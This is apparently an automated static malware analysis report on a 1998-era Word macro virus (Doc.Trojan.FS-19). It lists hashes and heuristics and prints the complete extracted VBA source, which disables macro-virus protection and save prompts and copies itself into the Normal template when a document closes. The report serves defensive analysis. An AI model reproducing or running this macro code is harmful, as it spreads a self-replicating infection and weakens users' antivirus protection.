Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eb7c03c17fd97409…

MALICIOUS

Office (OLE)

26.0 KB Created: 1999-08-31 21:47:00 Authoring application: Microsoft Word 8.0 First seen: 2015-10-01
MD5: adfcefbbadef3477e4ef74d833946fd6 SHA-1: 8b50e16988d8a021487f2920c7af0361a30a9bef SHA-256: eb7c03c17fd9740959a4e4e7881643b3b5eacf64345080fb7f43046d8ec74683
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

This document contains VBA macros that exhibit self-replication behavior, attempting to write its code to the NormalTemplate. The macro also attempts to disable virus protection and save the document, indicating a malicious intent to persist and spread. The ClamAV detection 'Doc.Trojan.FS-19' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.FS-19 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FS-19
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    If Not α.Find("~^^~", 0, 0, 0, 0, 0, 0) Then α.AddFromString υ.Lines(1, υ.CountOfLines)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 943 bytes
SHA-256: ba4aab1216756c8ce050d6e6f809744f00a0530791998bdb2bd9ad6cd7e57873
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Anoia-Variants
Private Sub Document_Close()
On Error Resume Next
ι = ActiveDocument.Saved
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
Application.DisplayAlerts = 0
Options.ConfirmConversions = 0
Application.EnableCancelKey = 0
If Len(ActiveDocument.Path) Then
Set α = IIf(MacroContainer <> NormalTemplate, NormalTemplate, ActiveDocument).VBProject.VBComponents(1).CodeModule
Set υ = ThisDocument.VBProject.VBComponents(1).CodeModule
If Not α.Find("~^^~", 0, 0, 0, 0, 0, 0) Then α.AddFromString υ.Lines(1, υ.CountOfLines)
If Not ActiveDocument.ReadOnly Then ActiveDocument.Save
End If: ActiveDocument.Saved = ι
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.